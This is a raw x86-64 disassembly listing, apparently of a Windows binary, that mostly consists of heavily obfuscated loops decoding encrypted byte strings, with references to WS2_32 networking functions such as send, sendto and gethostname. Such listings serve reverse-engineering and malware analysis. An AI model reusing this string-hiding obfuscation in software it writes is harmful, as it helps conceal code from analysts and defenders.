lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400829e6
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400829cb
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400829b0
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140082992
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140082971
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008294d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400827a0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x64]
jmp 0x1400827a0
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082790
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082726
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400826b8
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
inc r8
dec r10
inc r10
jmp 0x1400826a5
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
dec r10
inc r10
jmp 0x1400826a5
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x140082fe0
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x140082fe0
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x140083015
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x140083041
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x390]
add rax, r8
add r10, rax
inc r10
jmp 0x1400826a5
lea ecx, [r10 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
cmp r8, 0x5a
jb 0x140082e60
movzx r11d, r10b
lea ecx, [r11 + 0x24]
movzx eax, cl
and al, r9b
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140082f31
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x140082e9b
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140082cc2
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x61
jae 0x140082e70
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140082da1
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x140082a48
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083041
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082fe0
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140082fe0
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140082f9c
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
dec r10
inc r10
jmp 0x1400826a5
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x1400826a5
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
movzx r11d, r10b
jmp 0x140082f31
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140082c0a
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082a8c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082c44
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x390]
add rax, r8
add r10, rax
inc r10
jmp 0x1400826a5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140082c6c
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083015
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140082c94
movzx r11d, r10b
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x140082f9c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140082a8c
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
dec r10
inc r10
jmp 0x1400826a5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082cee
movzx r11d, r10b
lea edx, [r11 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082f31
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082d18
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
dec r10
inc r10
jmp 0x1400826a5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140082d3f
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
add rbx, r8
jmp 0x140082fe0
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140082d63
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140082fe0
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140082ac6
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x390]
add rax, r8
add r10, rax
inc r10
jmp 0x1400826a5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082dd7
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r10 + 0x390]
add rax, r8
add r10, rax
inc r10
jmp 0x1400826a5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082e02
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140082fe0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140082e30
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400826a5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140082a48
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082f31
mov byte [rbp + r10 + 0x390], dil
inc r10
jmp 0x1400826a5
movzx r11d, r10b
lea edx, [r11 + 0x70]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x390]
sub dil, al
sub dil, 0x10
add dil, dl
add dil, r9b
jmp 0x140082f9c
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x24]
jmp 0x140083015
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082fe0
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140082fe0
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400826a5
movzx r11d, r10b
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
sub r11b, 0x36
movzx eax, r11b
and al, r9b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x390], cl
inc r8
dec r10
inc r10
jmp 0x1400826a5
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
dec r10
inc r10
jmp 0x1400826a5
movzx r11d, r10b
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
add r11b, 0x16
movzx eax, r11b
and al, r9b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
add cl, dil
mov byte [rbp + r10 + 0x390], cl
add rbx, r8
jmp 0x140082fe0
lea rdx, [r10 + r15]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400826a5
lea rcx, [r10 + r13]
movzx r9d, r11b
and r11b, cl
mov eax, 0x1d
sub al, r11b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x390], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x38
add cl, r9b
mov byte [rbp + r10 + 0x390], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x390]
add rax, r8
add r10, rax
inc r10
jmp 0x1400826a5
lea rdx, [r10 + r12]
movzx eax, r11b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x390]
add rax, r8
add r10, rax
inc r10
jmp 0x1400826a5
add r10b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400826a2
sub r10b, 0xe
movzx eax, r10b
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140082692
lea rcx, [rbp + 0x15b2f18]
jmp 0x14008310e
lea rcx, [rbp + 0xc8bcbe]
jmp 0x14008310e
lea rcx, [rbp + 0x390]
lea rdx, [0x1401dd72d]
call fcn.14003a4c0
mov byte [rbp + 0x5a0], 0x75
mov byte [rbp + 0x5a1], 0xaf
mov byte [rbp + 0x5a2], __WSAFDIsSet
mov byte [rbp + 0x5a3], __WSAFDIsSet
mov byte [rbp + 0x5a4], 0xa8
mov byte [rbp + 0x5a5], 0x90
mov byte [rbp + 0x5a6], 0x56
mov byte [rbp + 0x5a7], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5a8], 0xb7
mov byte [rbp + 0x5a9], 0xbb
mov byte [rbp + 0x5aa], 0xb4
mov byte [rbp + 0x5ab], 0x8e
mov byte [rbp + 0x5ac], 0xbe
mov byte [rbp + 0x5ad], 0x88
mov byte [rbp + 0x5ae], 0x8a
mov byte [rbp + 0x5af], 0x4f
mov byte [rbp + 0x5b0], 0x62
mov byte [rbp + 0x5b1], 0xbe
mov byte [rbp + 0x5b2], 0xaa
mov byte [rbp + 0x5b3], 0x23
xor eax, eax
mov qword [rbp + 0x5b4], rax
mov dword [rbp + 0x5bc], eax
mov byte [rbp + 0x5c0], al
movabs r14, 0x1ddc4253ca57de08
movabs r12, 0xd105d04a88671238
movabs r15, 0x5994c6fb5f079a18
movzx edi, byte [rsp + 0x50]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x21
jae 0x140083a89
movzx r9d, byte [rbp + r10 + 0x5a0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140083a80
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008323c
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x38
jmp 0x140083270
je 0x140083a09
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008397b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008391c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400838ce
nop dword [rax]
cmp r8, r10
ja 0x140083a77
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14008329e
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400832e0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400838b1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008388c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008386d
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008384e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140083832
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400834f5
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400834d5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400834ad
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140083488
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140083468
lea rbx, [r8 + 9]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140083a57
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140083a3a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400833be
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008339f
lea rbx, [r8 + 2]
lea r8, [rbx + 4]
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14008343a
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008341b
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400833fc
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400833dd
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x42]
jmp 0x1400832f0
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140083270
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140083206
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140083962
lea edx, [r10 - 0x20]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x140083997
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400839c2
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400831f3
lea edx, [r10 - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x60
movzx r11d, r10b
jmp 0x140083937
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x1400831f3
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x1400831f3
lea edx, [r10 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
movzx r11d, r10b
jmp 0x1400838e9
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x1400835b9
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14008381c
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140083696
lea edx, [r10 - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x58
add dil, dl
cmp rbx, 0x200
jae 0x1400837f8
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14008376a
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 2
jb 0x1400837e8
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1400838ec
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400835f0
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400831f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083618
lea edx, [r10 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x140083997
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140083640
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008395f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140083669
movzx r11d, r10b
lea edx, [r11 - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x60
jmp 0x140083937
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008351f
movzx r11d, r10b
lea edx, [r11 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400838e9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400836bf
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400838e9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400836ed
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x1400831f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083716
movzx r11d, r10b
lea edx, [r11 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
jmp 0x140083937
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008373e
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008395f
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140083554
lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140083997
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400837a1
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400831f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400837c9
lea edx, [r10 - 0x40]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x40
add dil, dl
jmp 0x140083997
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008358b
movzx r11d, r10b
lea edx, [r11 - 0x10]
mov ecx, gethostname
jmp 0x140083929
mov byte [rbp + r10 + 0x5a0], dil
inc r10
jmp 0x1400831f3
movzx r11d, r10b
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x5a0]
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
jmp 0x140083937
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x30]
jmp 0x140083997
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140083a20
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140083997
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008395f
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x1400831f3
movzx r11d, r10b
lea edx, [r11 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
jmp 0x1400838e9
movzx r11d, r10b
lea edx, [r11 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
add r11b, 0x38
movzx eax, r9b
and al, r11b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x5a0], cl
inc r8
dec r10
inc r10
jmp 0x1400831f3
movzx r11d, r10b
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r11b, 0x48
movzx eax, r9b
and al, r11b
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r11b
mov byte [rbp + r10 + 0x5a0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400831f3
lea rcx, [r10 + r12]
movzx r9d, r11b
and r11b, cl
mov eax, 0x3c
sub al, r11b
lea edi, [rax + rax]
add dil, cl
add dil, r9b
lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x68
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x5a0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x5a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400831f3
lea rdx, [r10 + r15]
movzx eax, r11b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400831f3
add r10b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x1400831f0
add r10b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400831e0
lea rcx, [rbp + 0x1493300]
jmp 0x140083a90
lea rcx, [rbp + 0xe11108]
jmp 0x140083a90
lea rcx, [rbp + 0x5a0]
lea rdx, [0x1401dd72e]
call fcn.14003a4c0
mov byte [rbp + 0x5d0], 0x65
mov byte [rbp + 0x5d1], 0x4f
mov byte [rbp + 0x5d2], 0x7b
mov byte [rbp + 0x5d3], 0x79
mov byte [rbp + 0x5d4], 0x40
mov byte [rbp + 0x5d5], 0x48
mov byte [rbp + 0x5d6], 0xb6
mov byte [rbp + 0x5d7], 0x65
mov byte [rbp + 0x5d8], WSACleanup
mov byte [rbp + 0x5d9], 0x48
mov byte [rbp + 0x5da], 0x44
mov byte [rbp + 0x5db], WSACleanup
mov byte [rbp + 0x5dc], 0x5b
mov byte [rbp + 0x5dd], 0x42
mov byte [rbp + 0x5de], 0xae
mov byte [rbp + 0x5df], WSACleanup
mov byte [rbp + 0x5e0], 0x51
mov byte [rbp + 0x5e1], 0x5d
mov byte [rbp + 0x5e2], 0x5e
mov byte [rbp + 0x5e3], 0x56
mov byte [rbp + 0x5e4], 0x58
mov byte [rbp + 0x5e5], 0xa5
mov byte [rbp + 0x5e6], 0x84
mov byte [rbp + 0x5e7], 0x50
mov byte [rbp + 0x5e8], 0x48
mov byte [rbp + 0x5e9], 0xc1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5ea], xmm0
mov dword [rbp + 0x5fa], eax
mov word [rbp + 0x5fe], ax
movabs r14, 0x865473312f83b5e4
movabs r12, 0xac4f26584c99f93c
movabs r15, 0x92fd59938e8b21ac
movzx edi, byte [rsp + 0x50]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x30
jae 0x140084740
movzx r9d, byte [rbp + r10 + 0x5d0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140084737
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140083bec
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x3c
jmp 0x140083c26
je 0x1400846c0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084634
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400845d9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400845b4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008456d
cmp r8, r10
ja 0x14008472e
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140083c54
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083c90
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140084551
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140084529
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084508
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400844e9
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400841fa
nop dword [rax]
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400841d7
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400841b3
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400841a5
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140084186
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140084167
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14008414c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140084130
lea rax, [r8 + 0x400]
